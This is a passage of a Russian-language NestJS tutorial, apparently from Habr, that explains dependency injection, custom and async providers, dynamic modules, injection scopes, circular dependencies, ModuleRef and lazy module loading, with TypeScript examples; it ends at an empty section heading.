+ [Регистрация ограниченного запросом провайдера](#%D1%80%D0%B5%D0%B3%D0%B8%D1%81%D1%82%D1%80%D0%B0%D1%86%D0%B8%D1%8F-%D0%BE%D0%B3%D1%80%D0%B0%D0%BD%D0%B8%D1%87%D0%B5%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE-%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%BE%D0%BC-%D0%BF%D1%80%D0%BE%D0%B2%D0%B0%D0%B9%D0%B4%D0%B5%D1%80%D0%B0)
+ [Получение текущего поддерева](#%D0%BF%D0%BE%D0%BB%D1%83%D1%87%D0%B5%D0%BD%D0%B8%D0%B5-%D1%82%D0%B5%D0%BA%D1%83%D1%89%D0%B5%D0%B3%D0%BE-%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%B0)
+ [Динамическое инстанцирование кастомных классов](#%D0%B4%D0%B8%D0%BD%D0%B0%D0%BC%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5-%D0%B8%D0%BD%D1%81%D1%82%D0%B0%D0%BD%D1%86%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-%D0%BA%D0%B0%D1%81%D1%82%D0%BE%D0%BC%D0%BD%D1%8B%D1%85-%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%BE%D0%B2)
* [Ленивая загрузка модулей](#%D0%BB%D0%B5%D0%BD%D0%B8%D0%B2%D0%B0%D1%8F-%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BA%D0%B0-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D0%B5%D0%B9)
+ [Начало работы](#%D0%BD%D0%B0%D1%87%D0%B0%D0%BB%D0%BE-%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B)
+ [Ленивая загрузка контроллеров, шлюзов и резолверов](#%D0%BB%D0%B5%D0%BD%D0%B8%D0%B2%D0%B0%D1%8F-%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BA%D0%B0-%D0%BA%D0%BE%D0%BD%D1%82%D1%80%D0%BE%D0%BB%D0%BB%D0%B5%D1%80%D0%BE%D0%B2-%D1%88%D0%BB%D1%8E%D0%B7%D0%BE%D0%B2-%D0%B8-%D1%80%D0%B5%D0%B7%D0%BE%D0%BB%D0%B2%D0%B5%D1%80%D0%BE%D0%B2)
+ [Случаи использования лениво загружаемых модулей](#%D1%81%D0%BB%D1%83%D1%87%D0%B0%D0%B8-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F-%D0%BB%D0%B5%D0%BD%D0%B8%D0%B2%D0%BE-%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B0%D0%B5%D0%BC%D1%8B%D1%85-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D0%B5%D0%B9)
* [Контекст выполнения / Execution context](#%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%BA%D1%81%D1%82-%D0%B2%D1%8B%D0%BF%D0%BE%D0%BB%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F--execution-context)
+ [ArgumentsHost](#argumentshost)
+ [Текущий контекст выполнения](#%D1%82%D0%B5%D0%BA%D1%83%D1%89%D0%B8%D0%B9-%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%BA%D1%81%D1%82-%D0%B2%D1%8B%D0%BF%D0%BE%D0%BB%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F)
+ [Аргументы обработчика хоста](#%D0%B0%D1%80%D0%B3%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B-%D0%BE%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%87%D0%B8%D0%BA%D0%B0-%D1%85%D0%BE%D1%81%D1%82%D0%B0)
+ [ExecutionContext](#executioncontext)
+ [Reflection и метаданные](#reflection-%D0%B8-%D0%BC%D0%B5%D1%82%D0%B0%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5)
* [События жизненного цикла / Lifecycle events](#%D1%81%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D1%8F-%D0%B6%D0%B8%D0%B7%D0%BD%D0%B5%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE-%D1%86%D0%B8%D0%BA%D0%BB%D0%B0--lifecycle-events)
+ [Жизненный цикл](#%D0%B6%D0%B8%D0%B7%D0%BD%D0%B5%D0%BD%D0%BD%D1%8B%D0%B9-%D1%86%D0%B8%D0%BA%D0%BB)
+ [События жизненного цикла](#%D1%81%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D1%8F-%D0%B6%D0%B8%D0%B7%D0%BD%D0%B5%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE-%D1%86%D0%B8%D0%BA%D0%BB%D0%B0)
+ [Использование хуков жизненного цикла](#%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-%D1%85%D1%83%D0%BA%D0%BE%D0%B2-%D0%B6%D0%B8%D0%B7%D0%BD%D0%B5%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE-%D1%86%D0%B8%D0%BA%D0%BB%D0%B0)
+ [Асинхронная инициализация модуля](#%D0%B0%D1%81%D0%B8%D0%BD%D1%85%D1%80%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F-%D0%B8%D0%BD%D0%B8%D1%86%D0%B8%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8F)
+ [Завершение работы приложения](#%D0%B7%D0%B0%D0%B2%D0%B5%D1%80%D1%88%D0%B5%D0%BD%D0%B8%D0%B5-%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B-%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F)
### Кастомные провайдеры
#### Основы внедрения зависимостей
Внедрение зависимостей (Dependency Injection, DI) — это способ инверсии управления (Inversion of Control, IoC), когда инстанцирование (создание экземпляров) зависимостей делегируется *контейнеру IoC* (системе выполнения — runtime system) *NestJS*.
Все начинается с определения провайдера.
В следующем примере декоратор *@Injectable* помечает (mark) класс *PostService* как провайдер:
```
// post.service.ts
import { Injectable } from '@nestjs/common'
import { PostDto } from './dto'
@Injectable()
export class PostService {
private readonly posts: PostDto[] = []
getAll(): PostDto[] {
return this.posts
}
}
```
Затем этот провайдер внедряется в контроллер:
```
// post.controller.ts
import { Controller, Get } from '@nestjs/common'
import { PostService } from './post.service'
import { PostDto } from './dto'
@Controller('posts')
export class PostController {
// внедрение зависимости
constructor(private postService: PostService) {}
@Get()
async getAll(): Promise {
// обращение к провайдеру
return this.postService.getAll()
}
}
```
Наконец, провайдер регистрируется с помощью *контейнера IoC*:
```
// app.module.ts
import { Module } from '@nestjs/common'
import { PostController } from './post/post.controller'
import { PostService } from './post/ost.service'
@Module({
controllers: [PostController],
providers: [PostService]
})
export class AppModule {}
```
В процессе *DI* происходит следующее:
1. В *post.service.ts* декоратор *@Injectable* определяет класс *PostService* как класс, доступный для управления *контейнером IoC*.
2. В *post.controller.ts* класс *PostController* определяет зависимость на токене (token) *PostService* посредством его внедрения через конструктор:
```
constructor(private postService: PostService) {}
```
1. В *app.module.ts* токен *PostService* связывается (map) с классом *PostService* из *post.service.ts*.
При инстанцировании *PostController* *контейнер IoC* определяет зависимости. При обнаружении зависимости *PostService*, он изучает токен *PostService*, который возвращает класс *PostService*. Учитывая, что по умолчанию применяется паттерн проектирования *SINGLETON* (Одиночка), *NestJS* создает экземпляр *PostService*, кеширует его и возвращает либо сразу доставляет экземпляр *PostService* из кеша.
#### Стандартные провайдеры
Присмотримся к декоратору *[Module](https://habr.com/ru/users/module/)*. В *app.module.ts* определяется следующее:
```
@Module({
controllers: [PostController],
providers: [PostProvider]
})
```
Свойство *providers* принимает массив провайдеров. В действительности, синтаксис `providers: [PostService]` является сокращением для:
```
providers: [
{
provide: PostService,
useClass: PostService
}
]
```
Теперь процесс регистрации провайдеров стал более понятным, не так ли? Здесь мы явно ассоциируем токен *PostService* с одноименным классом. Токен используется для получения экземпляра одноименного класса.
#### Кастомные провайдеры
Случаи использования кастомных провайдеров:
* создание кастомного экземпляра класса;
* повторное использование существующего класса в другой зависимости;
* перезапись (переопределение) класса фиктивной версией в целях тестирования.
*NestJS* предоставляет несколько способов создания кастомных провайдеров.
#### Провайдеры значения: `useValue`
`useValue` используется для внедрения константных значений, сторонних библиотек в *контейнер IoC*, а также для замены настоящей реализации объектом с фиктивными данными. Рассмотрим пример использования фиктивного *PostService* в целях тестирования:
```
import { PostService } from './post.service'
const mockPostService = {
// ...
}
@Module({
providers: [
{
provide: PostService,
useValue: mockPostService
}
]
})
```
В приведенном примере токен *PostService* разрешится фиктивным объектом *mockPostService*. Благодаря структурной типизации *TypeScript*, в качестве значения `useValue` может передаваться любой объект с совместимым интерфейсом, включая литерал объекта или экземпляр класса, инстанцированный с помощью `new`.
#### Другие токены провайдеров
В качестве токенов провайдеров могут использоваться не только классы, но и, например, строки или символы:
```
import { connection } from './connection'
@Module({
providers: [
{
provide: 'CONNECTION',
useValue: connection
}
]
})
```
В приведенном примере строковый токен *CONNECTION* ассоциируется с объектом *connection*.
Провайдеры со строковыми токенами внедряются с помощью декоратора *[Inject](https://habr.com/ru/users/inject/)*:
```
@Injectable()
export class PostRepository {
constructor(@Inject('CONNECTION') connection: Connection) {}
}
```
Разумеется, в реальном приложении строковые токены лучше выносить в константы (*constants.ts*).
#### Провайдеры классов: `useClass`
`useClass` позволяет динамически определять класс, которым должен разрешаться токен. Предположим, что у нас имеется абстрактный (или дефолтный) класс *ConfigService*, и мы хотим, чтобы *NestJS* предоставлял ту или иную реализацию данного сервиса на основе среды выполнения кода:
```
const configServiceProvider = {
provide: ConfigService,
useClass:
process.env.NODE_ENV === 'development'
? DevelopmentConfigService
: ProductionConfigService
}
@Module({
providers: [configServiceProvider]
})
```
#### Провайдеры фабрик: `useFactory`
`useFactory` позволяет создавать провайдеры динамически. В данном случае провайдер — это значение, возвращаемое фабричной функцией:
1. Фабричная функция принимает опциональные аргументы.
2. Опциональное свойство *inject* принимает массив провайдеров, разрешаемых *NestJS* и передаваемых фабричной функции в качестве аргументов в процессе инстанцирования. Эти провайдеры могут быть помечены как опциональные. Экземпляры из списка *inject* передаются функции в качестве аргументов в том же порядке.
```
const connectionFactory = {
provide: 'CONNECTION',
useFactory: (optionsProvider: OptionsProvider, optionalProvider?: string) => {
const options = optionsProvider.get()
return new DatabaseConnection(options)
},
inject: [OptionsProvider /* обязательно */, { token: 'SomeOptionalProvider' /* провайдер с указанным токеном может разрешаться в `undefined` */, optional: true }]
}
@Module({
providers: [
connectionFactory,
OptionsProvider,
// { provide: 'SomeOptionalProvider', useValue: 'qwerty' }
]
})
```
#### Провайдеры псевдонимов: `useExisting`
`useExisting` позволяет создавать псевдонимы для существующих провайдеров. В приведенном ниже примере строковый токен *AliasedLoggerService* является псевдонимом "классового токена" *LoggerService*:
```
@Injectable()
class LoggerService {
// ...
}
const loggerAliasProvider = {
provide: 'AliasedLoggerService',
useExisting: LoggerService
}
@Module({
providers: [LoggerService, loggerAliasProvider]
})
```
#### Другие провайдеры
Провайдеры могут предоставлять не только сервисы, но и другие значения, например, массив объектов с настройками в зависимости от текущей среды выполнения кода:
```
const configFactory = {
provide: 'CONFIG',
useFactory: () => process.env.NODE_ENV === 'development' ? devConfig : prodConfig
}
@Module({
providers: [configFactory]
})
```
#### Экспорт кастомных провайдеров
Областью видимости любого провайдера, включая кастомные, является модуль, в котором он определяется. Для обеспечения доступа к нему других модулей, провайдер должен быть экспортирован из модуля. Кастомный провайдер может экспортироваться с помощью токена или полного объекта.
Пример экспорта кастомного провайдера с помощью токена:
```
const connectionFactory = {
provide: 'CONNECTION',
useFactory: (optionsProvider: OptionsProvider) => {
const options = optionsProvider.get()
return new DatabaseConnection(options)
},
inject: [OptionsProvider]
}
@Module({
providers: [connectionFactory],
exports: ['CONNECTION']
})
```
Пример экспорта кастомного провайдера с помощью объекта:
```
const connectionFactory = {
provide: 'CONNECTION',
useFactory: (optionsProvider: OptionsProvider) => {
const options = optionsProvider.get()
return new DatabaseConnection(options)
},
inject: [OptionsProvider]
}
@Module({
providers: [connectionFactory],
exports: [connectionFactory]
})
```
### Асинхронные провайдеры
Что если мы не хотим обрабатывать запросы до установки соединения с базой данных? Для решения задач, связанных с отложенным запуском приложения, используются асинхронные провайдеры:
```
{
provide: 'ASYNC_CONNECTION',
useFactory: async () => {
const connection = await createConnection(options)
return connection
}
}
```
В данном случае *NestJS* будет ждать разрешения промиса перед инстанцированием любого класса, от которого зависит провайдер.
Асинхронные провайдеры внедряются в другие компоненты с помощью токенов. В приведенном примере следует использовать конструкцию `@Inject('ASYNC_CONNECTION')`.
### Динамические модули
В большинстве случаев используются регулярные или статические (static) модули. Модули определяют группы компонентов (провайдеров или контроллеров), представляющих определенную часть приложения. Они предоставляют контекст выполнения (execution context) или область видимости (scope) для компонентов. Например, провайдеры, определенные в модуле, являются доступными (видимыми) другим членам модуля без необходимости их экспорта/импорта. Когда провайдер должен быть видимым за пределами модуля, он сначала экспортируется из хостового (host) модуля и затем импортируется в потребляющий (consuming) модуль.
Вспомним, как это выглядит.
Сначала определяется *UsersModule* для предоставления и экспорта *UsersService*. *UsersModule* — это хостовый модуль для *UsersService*:
```
import { Module } from '@nestjs/common'
import { UsersService } from './users.service'
@Module({
providers: [UsersService],
exports: [UsersService]
})
export class UsersModule {}
```
Затем определяется *AuthModule*, который импортирует *UsersModule*, что делает экспортируемые из *UsersModule* провайдеры доступными внутри *AuthModule*:
```
import { Module } from '@nestjs/common'
import { AuthService } from './auth.service'
import { UsersModule } from '../users/users.module'
@Module({
imports: [UsersModule],
providers: [AuthService],
exports: [AuthService]
})
export class AuthModule {}
```
Такая конструкция позволяет внедрить *UsersService* в *AuthService*, который находится (hosted) в *AuthModule*:
```
import { Injectable } from '@nestjs/common'
import { UsersService } from '../users/users.service'
@Injectable()
export class AuthService {
constructor(private usersService: UsersService) {}
// ...
}
```
*NestJS* делает *UsersService* доступным внутри *AuthModule* следующим образом:
1. Сначала происходит инстанцирование *UsersModule*, включая транзитивный импорт модулей, потребляемых *UsersModule*, и транзитивное разрешение всех зависимостей.
2. Затем происходит инстанцирование *AppModule*. После этого экспортируемые из *UsersModule* провайдеры становятся доступными для компонентов *AuthModule* (так, будто они были определены в *AuthModule*).
3. Наконец, происходит внедрение *UsersService* в *AuthService*.
#### Динамические модули
Динамический модуль позволяет импортировать один модуль в другой и кастомизировать свойства и поведение импортируемого модуля во время импорта.
#### Пример конфигурационного модуля
Предположим, что мы хотим, чтобы *ConfigModule* принимал объект *options*, позволяющий настраивать его поведение: мы хотим иметь возможность определять директорию, в которой находится файл *.env*.
Динамические модули позволяют передавать параметры в импортируемые модули. Рассмотрим пример импорта статического *ConfigModule* (*внимание* на массив *imports* в декораторе *[Module](https://habr.com/ru/users/module/)*):
```
import { Module } from '@nestjs/common'
import { AppController } from './app.controller'
import { AppService } from './app.service'
import { ConfigModule } from './config/config.module'
@Module({
imports: [ConfigModule],
controllers: [AppController],
providers: [AppService]
})
export class AppModule {}
```
Теперь рассмотрим пример импорта динамического модуля:
```
import { Module } from '@nestjs/common'
import { AppController } from './app.controller'
import { AppService } from './app.service'
import { ConfigModule } from './config/config.module'
@Module({
imports: [ConfigModule.register({ folder: './config' })],
controllers: [AppController],
providers: [AppService]
})
export class AppModule {}
```
Что здесь происходит?
1. *ConfigModule* — это обычный класс со статическим методом *register*. Этот метод может называться как угодно, но по соглашению его следует именовать *register* или *forRoot*.
2. Метод *register* определяется нами, поэтому он может принимать любые параметры. Мы хотим, чтобы он принимал объект *options*.
3. Можно предположить, что *register()* возвращает *module*, поскольку возвращаемое им значение указано в списке *imports*.
На самом деле метод *register* возвращает *DynamicModule*. Динамический модуль — это модуль, создаваемый во время выполнения с такими же свойствами, что и статический модуль, и одним дополнительным свойством *module*. Значением этого свойства должно быть название модуля, которое должно совпадать с названием класса модуля.
Интерфейс динамического модуля возвращает модуль, но вместо того, чтобы "фиксить" свойства этого модуля в декораторе *[Module](https://habr.com/ru/users/module/)*, они определяются программно.
Что еще можно здесь сказать?
1. Свойство *imports* декоратора *[Module](https://habr.com/ru/users/module/)* принимает не только названия классов, но также функции, возвращающие динамические модули.
2. Динамический модуль может импортировать другие модули.
Вот как может выглядеть *ConfigModule*:
```
import { DynamicModule, Module } from '@nestjs/common'
import { ConfigService } from './config.service'
@Module({})
export class ConfigModule {
static register(): DynamicModule {
return {
module: ConfigModule,
providers: [ConfigService],
exports: [ConfigService]
}
}
}
```
Наш конфигурационный модуль пока бесполезен. Давайте это исправим.
#### Настройка модуля
Рассмотрим пример использования объекта *options* для настройки сервиса *ConfigService*:
```
import { Injectable } from '@nestjs/common'
import dotenv from 'dotenv'
import fs from 'fs'
import { EnvConfig } from './interfaces'
@Injectable()
export class ConfigService {
private readonly envConfig: EnvConfig
constructor() {
const options = { folder: './config' }
const fileName = `${process.env.NODE_ENV || 'development'}.env`
const envFile = path.resolve(__dirname, '../../', options.folder, fileName)
this.envConfig = dotenv.parse(fs.readFileSync(envFile))
}
get(key: string): string {
return this.envConfig[key]
}
}
```
Нам нужно каким-то образом внедрить объект *options* через метод *register* из предыдущего шага. Разумеется, для этого используется внедрение зависимостей. *ConfigModule* предоставляет *ConfigService*. В свою очередь, *ConfigService* зависит от объекта *options*, который передается во время выполнения. Поэтому во время выполнения *options* должен быть привязан (bind) к *IoC контейнеру* — это позволит *NestJS* внедрить его в *ConfigService*. Как вы помните из раздела, посвященного провайдерам, провайдеры могут предоставлять любые значения, а не только сервисы.
Вернемся к статическому методу *register*. Помните, что мы конструируем модуль динамически и одним из свойств модуля является список провайдеров. Поэтому необходимо определить объект с настройками в качестве провайдера. Это сделает его внедряемым (injectable) в *ConfigService*:
```
import { DynamicModule, Module } from '@nestjs/common'
import { ConfigService } from './config.service'
@Module({})
export class ConfigModule {
static register(options): DynamicModule {
return {
module: ConfigModule,
providers: [
{
provide: 'CONFIG_OPTIONS',
useValue: options
},
ConfigService
],
exports: [ConfigService]
}
}
}
```
Теперь провайдер *CONFIG\_OPTIONS* может быть внедрен в *ConfigService*:
```
import { Injectable } from '@nestjs/common'
import dotenv from 'dotenv'
import fs from 'fs'
import { EnvConfig } from './interfaces'
@Injectable()
export class ConfigService {
private readonly envConfig: EnvConfig
constructor(@Inject('CONFIG_OPTIONS') private options) {
const fileName = `${process.env.NODE_ENV || 'development'}.env`
const envFile = path.resolve(__dirname, '../../', options.folder, fileName)
this.envConfig = dotenv.parse(fs.readFileSync(envFile))
}
get(key: string): string {
return this.envConfig[key]
}
}
```
Опять же вместо строкового токена *CONFIG\_OPTIONS* в реальных приложениях лучше использовать константы.
#### Разница между методами `register`, `forRoot` и `forFeature`
При создании модуля с помощью:
* *register()*, предполагается, что данный динамический модуль будет использоваться только в вызывающем его модуле;
* *forRoot()*, предполагается однократная настройка динамического модуля и его повторное использование в нескольких местах;
* *forFeature()*, предполагается использование настройки *forRoot*, но имеется необходимость в модификации некоторых настроек применительно к нуждам вызывающего модуля (например, репозиторий, к которому модуль будет иметь доступ, или контекст, который будет использоваться "логгером").
### Области внедрения / Injection scopes
#### Область видимости провайдера
Провайдер может иметь одну их следующих областей видимости:
* *DEFAULT* — в приложении используется единственный экземпляр провайдера. Жизненный цикл (lifecycle) экземпляра совпадает с жизненным циклом приложения. "Провайдеры-одиночки" (singleton providers) инстанцируются при инициализации приложения;
* *REQUEST* — для каждого запроса создается новый экземпляр провайдера. Экземпляр уничтожается сборщиком мусора после обработки запроса;
* *TRANSIENT* — временные (transient) провайдеры не распределяются между потребителями. Каждый потребитель, внедряющий провайдера, получает новый экземпляр.
*Обратите внимание*: в большинстве случаев рекомендуется использовать дефолтную область видимости. Распределение провайдеров между потребителями и запросами означает, что экземпляр может быть кеширован и инициализируются только один раз при запуске приложения.
#### Определение области видимости провайдера
Область видимости провайдера определяется в настройке *scope* декоратора *@Injectable*:
```
import { Injectable, Scope } from '@nestjs/common'
@Injectable({ scope: Scope.REQUEST })
export class PostService {}
```
Пример определения области видимости кастомного провайдера:
```
{
provide: 'CACHE_MANAGER',
useClass: CacheManager,
scope: Scope.TRANSIENT
}
```
*Обратите внимание*: по умолчанию используется область видимости *DEFAULT*.
#### Область видимости контроллера
Контроллеры также могут иметь область видимости, которая применяется ко всем определенным в них обработчикам.
Область видимости контроллера определяется с помощью настройки *scope* декоратора *[Controller](https://habr.com/ru/users/controller/)*:
```
@Controller({
path: 'post',
scope: Scope.REQUEST
})
export class PostController {}
```
#### Иерархия областей видимости
Область видимости *REQUEST* поднимается (всплывает) по цепочке внедрения зависимостей. Это означает, что контроллер, который основан на провайдере с областью видимости *REQUEST*, будет иметь такую же область видимости.
Предположим, что у нас имеется такой граф зависимостей: `PostController <- PostService <- PostRepository`. Если область видимости *PostService* ограничена запросом (а другие зависимости имеют дефолтную область видимости), область видимости *PostController* будет ограничена запросом, поскольку он зависит от внедренного сервиса. *PostRepository*, который не зависит от *PostService*, будет иметь дефолтную область видимости.
Зависимости с временной областью видимости не следуют данному паттерну. Если *PostService* с дефолтной областью видимости внедряет *LoggerService* с временной областью видимости, он получит новый экземпляр сервиса. Однако область видимости *PostService* останется дефолтной, поэтому его внедрение не приведет к созданию нового экземпляра *PostService*.
#### Провайдер запроса
Доступ к объекту запроса в ограниченном запросом провайдере можно получить через объект *REQUEST*:
```
import { Injectable, Scope, Inject } from '@nestjs/common'
import { REQUEST } from '@nestjs/core'
import { Request } from 'express'
@Injectable({ scope: Scope.REQUEST })
export class PostService {
constructor(@Inject(REQUEST) private request: Request) {}
}
```
В приложениях, использующих *GraphQL*, вместо *REQUEST* следует использовать *CONTEXT*:
```
import { Injectable, Scope, Inject } from '@nestjs/common'
import { CONTEXT } from '@nestjs/graphql'
@Injectable({ scope: Scope.REQUEST })
export class PostService {
constructor(@Inject(CONTEXT) private context) {}
}
```
### Циклическая зависимость / Circular dependency
Циклическая (круговая) зависимость возникает, когда 2 класса зависят друг от друга. Например, класс А зависит от класса Б, а класс Б зависит от класса А. Циклическая зависимость в *NestJS* может возникнуть между модулями и провайдерами.
*NestJS* предоставляет 2 способа для разрешения циклических зависимостей:
* использование техники передачи (перенаправления) ссылки (forward referencing);
* использование класса *ModuleRef*.
#### Передача ссылки
Передача ссылки позволяет *NestJS* ссылаться на классы, которые еще не были определены, с помощью вспомогательно функции *forwardRef*. Например, если *PostService* и *CommonService* зависят друг от друга, обе стороны отношений могут использовать декоратор *[Inject](https://habr.com/ru/users/inject/)* и утилиту *forwardRef* для разрешения циклической зависимости:
```
import { Injectable, Inject, forwardRef } from '@nestjs/common'
// post.service.ts
@Injectable()
export class PostService {
constructor(
@Inject(forwardRef(() => CommonService))
private commonService: CommonService
) {}
}
// common.service.ts
@Injectable()
export class CommonService {
constructor(
@Inject(forwardRef(() => PostService))
private postService: PostService
) {}
}
```
Для разрешения циклической зависимости между модулями также используется утилита *forwardRef*:
```
@Module({
imports: [forwardRef(() => PostModule)]
})
export class CommonModule {}
```
### Ссылка на модуль / Module reference
Класс *ModuleRef* предоставляет доступ к внутреннему списку провайдеров и позволяет получать ссылку на любого провайдера с помощью токена внедрения (injection token) как ключа для поиска (lookup key). Данный класс также позволяет динамически инстанцировать статические провайдеры и провайдеры с ограниченной областью видимости. *ModuleRef* внедряется в класс обычным способом:
```
import { ModuleRef } from '@nestjs/core'
@Injectable()
export class PostService {
constructor(private moduleRef: ModuleRef) {}
}
```
#### Получение экземпляров компонентов
Метод *get* экземпляра *ModuleRef* позволяет извлекать провайдеры, контроллеры, защитники, перехватчики и т.п., которые существуют (были инстанцированы) в данном модуле с помощью токена внедрения/названия класса:
```
@Injectable()
export class PostService implements OnModuleInit {
private service: Service
constructor(private moduleRef: ModuleRef) {}
onModuleInit() {
this.service = this.moduleRef.get(Service)
}
}
```
*Обратите внимание*: метод *get* не позволяет извлекать провайдеры с ограниченной областью видимости.
Для извлечения провайдера из глобального контекста (например, когда провайдер был внедрен в другой модуль) используется настройка *strict* со значением *false*:
```
this.moduleRef.get(Service, { strict: false })
```
#### Разрешение провайдеров с ограниченной областью видимости
Для динамического разрешения провайдеров с ограниченной областью видимости используется метод *resolve*, в качестве аргумента принимающий токен внедрения провайдера:
```
@Injectable()
export class PostService implements OnModuleInit {
private transientService: TransientService
constructor(private moduleRef: ModuleRef) {}
async onModuleInit() {
this.transientService = await this.moduleRef.resolve(TransientService)
}
}
```
Метод *resolve* возвращает уникальный экземпляр провайдера из собственного поддерева контейнера внедрения зависимостей (DI container sub-tree). Каждое поддерево имеет уникальный идентификатор контекста (context identifier):
```
@Injectable()
export class PostService implements OnModuleInit {
constructor(private moduleRef: ModuleRef) {}
async onModuleInit() {
const transientServices = await Promise.all([
this.moduleRef.resolve(TransientService),
this.moduleRef.resolve(TransientService)
])
console.log(transientServices[0] === transientServices[1]) // false
}
}
```
Для генерации одного экземпляра для нескольких вызовов *resolve()* и обеспечения распределения одного поддерева в *resolve()* можно передать идентификатор контекста. Для генерации такого идентификатора используется класс *ContextIdFactory* (метод *create*):
```
import { ContextIdFactory } from '@nestjs/common'
@Injectable()
export class PostService implements OnModuleInit {
constructor(private moduleRef: ModuleRef) {}
async onModuleInit() {
// создаем идентификатор контекста
const contextId = ContextIdFactory.create()
const transientServices = await Promise.all([
// передаем идентификатор контекста
this.moduleRef.resolve(TransientService, contextId),
this.moduleRef.resolve(TransientService, contextId)
])
console.log(transientServices[0] === transientServices[1]) // true
}
}
```
#### Регистрация ограниченного запросом провайдера
Для регистрации кастомного объекта *REQUEST* для созданного вручную поддерева используется метод *registerRequestByContextId* экземпляра *ModuleRef*:
```
const contextId = ContextIdFactory.create()
this.moduleRef.registerRequestByContextId(/* REQUEST_OBJECT */, contextId)
```
#### Получение текущего поддерева
Иногда может потребоваться разрешить экземпляр ограниченного запросом провайдера в пределах контекста запроса (request context). Предположим, что *PostService* — это ограниченный запросом провайдер, и мы хотим разрешить *PostRepository*, который также является провайдером с областью видимости *REQUEST*. Для распределения одного и того же поддерева следует получить текущий идентификатор контекста вместо создания нового. Сначала объект запроса внедряется с помощью декоратора *[Inject](https://habr.com/ru/users/inject/)*:
```
@Injectable()
export class PostService {
constructor(
@Inject(REQUEST) private request: Request
) {}
}
```
Затем на основе объекта запроса с помощью метода *getByRequest* класса *ContextIdFactory* создается идентификатор контекста, который передается в метод *resolve*:
```
const contextId = ContextIdFactory.getByRequest(this.request)
const postRepository = await this.moduleRef.resolve(PostRepository, contextId)
```
#### Динамическое инстанцирование кастомных классов
Для динамического инстанцирования класса, который не был зарегистрирован в качестве провайдера, используется метод *create* экземпляра *ModuleRef*:
```
@Injectable()
export class PostService implements OnModuleInit {
private postFactory: PostFactory
constructor(private moduleRef: ModuleRef) {}
async onModuleInit() {
this.postFactory = await this.moduleRef.create(PostFactory)
}
}
```
Данная техника позволяет условно (conditional) инстанцировать классы за пределами *контейнера IoC*.
### Ленивая загрузка модулей
По умолчанию все модули загружаются при запуске приложения. В большинстве случаев это нормально. Однако, это может стать проблемой для приложений/воркеров, запущенных в бессерверной среде (serverless environment), где критичной является задержка запуска приложения ("холодный старт").
Ленивая загрузка может ускорить время запуска посредством загрузки только тех модулей, которые требуются для определенного вызова бессерверной функции. Для еще больше ускорения запуска другие модули могут загружаться асинхронно после "разогрева" такой функции.
*Обратите внимание*: в лениво загружаемых модулях и функциях не вызываются методы хуков жизненного цикла (lifecycle hooks methods).
#### Начало работы
*NestJS* предоставляет класс *LazyModuleLoader* для ленивой загрузки модулей, который внедряется в класс обычным способом:
```
import { LazyModuleLoader } from '@nestjs/core'
@Injectable()
export class PostService {
constructor(private lazyModuleLoader: LazyModuleLoader) {}
}
```
В качестве альтернативы ссылку на провайдер *LazyModuleLoader* можно получить через экземпляр приложения *NestJS*:
```
const lazyModuleLoader = app.get(LazyModuleLoader)
```
Далее модули загружаются с помощью такой конструкции:
```
const { LazyModule } = await import('./lazy.module')
const moduleRef = await this.lazyModuleLoader.load(() => LazyModule)
```
*Обратите внимание*: лениво загружаемые модули кешируются после первого вызова метода *load*. Это означает, что последующие загрузки *LazyModule* будут очень быстрыми и будут возвращать кешированный экземпляр вместо повторной загрузки модуля.
Метод *load* возвращает ссылку на модуль (*LazyModule*), которая позволяет исследовать внутренний список провайдеров и получать ссылку на провайдер с помощью токена внедрения в качестве ключа для поиска.
Предположим, что у нас имеется такой *LazyModule*:
```
@Module({
providers: [LazyService],
exports: [LazyService]
})
export class LazyModule {}
```
*Обратите внимание*: ленивые модули не могут быть зарегистрированы в качестве глобальных модулей.
Пример получения ссылки на провайдер *LazyService*:
```
const { LazyModule } = await import('./lazy.module')
const moduleRef = await this.lazyModuleLoader.load(() => LazyModule)
const { LazyService } = await import('./lazy.service')
const lazyService = moduleRef.get(LazyService)
```
*Обратите внимание*: при использовании *Webpack* файл *tsconfig.json* должен быть обновлен следующим образом:
```
{
"compilerOptions": {
"module": "esnext",
"moduleResolution": "node"
}
}
```
#### Ленивая загрузка контроллеров, шлюзов и резолверов
Поскольку контроллеры (или резолверы в *GraphQL*) в *NestJS* представляют собой наборы роутов/путей/темы (или запросы/мутации), мы не можем загружать их лениво с помощью класса *LazyModuleLoader*.
#### Случаи использования лениво загружаемых модулей
